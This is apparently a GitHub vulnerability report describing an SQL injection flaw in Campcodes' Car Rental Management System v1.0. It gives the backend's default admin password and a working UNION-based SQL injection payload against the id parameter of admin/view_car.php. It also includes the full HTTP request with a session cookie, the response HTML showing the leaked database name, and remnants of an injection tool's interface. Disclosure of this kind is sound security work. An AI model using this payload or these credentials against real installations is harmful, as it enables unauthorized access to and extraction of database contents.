

main

...

bug_report / vendors / campcodes.com / car-rental-management-system / SQLi-6.md



debug601 Create SQLi-6.md

History

1 contributor

29 lines (20 sloc) | 1.19 KB

...

Car Rental Management System v1.0 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.campcodes.com/projects/php/car-rental-management-system/>

Vulnerability File: /car-rental-management-system/admin/view_car.php?id=

Vulnerability location: /car-rental-management-system/admin/view_car.php?id=id

[+] Payload: /car-rental-management-system/admin/view_car.php?

id=-6%20union%20select%201,2,database(),4,5,6,7,8,9,10--+ // Leak place ---> id

Current database name: car_rental_db

```
GET /car-rental-management-system/admin/view_car.php?id=-6%20union%20select%201,2,da
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=q0aiu0hqk51vr14kivubc7u18k

Connection: close

GET /car-rental-management-system/admin/view_car.php?id=-6%20union%20select%201,2, database(),4,5,6,7,8,9,10--+ HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=q0aiu0hqk51vr14kivubc7u18k Connection: close

```
</style>
<div class="container-field">
  <div class="col-lg-12">
    <div>
      <center>
        <div class="avatar">
          
        </div>
      </center>
    </div>
    <hr>
    <div class="row">
      <div class="col-md-6">
        <p>Brand: <b>car_rental_db</b></p>
        <p>Model: <b>2</b></p>
        <p>Category: <b>MINIVAN</b></p>
        <p>Transmission: <b></b></p>
        <p>Engine: <b></b></p>
        <p>Price: <b>8.00</b></p>
        <p>Qty: <b>9</b></p>
      </div>
      <div class="col-md-6">
        <p>Description:</p>
        <p>7</p>
      </div>
    </div>
  </div>
</div>
```

INI

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER-

Load URL

Split URL

Execute

http://192.168.1.19/car-rental-management-system/admin/view_car.php?id=-6 union select 1,2,database(),4,5,6,7,8,9,10--+

☐ Post data

☐ Referrer

☐ 0xHEX

☐ %URL

☐ BASE64

Insert string to replace

Insert replacing s

Brand: car_rental_db

Model: 2

Category: MINIVAN

Transmission:

Engine:

Price: 8.00

Qty: 9

Description:

7

Close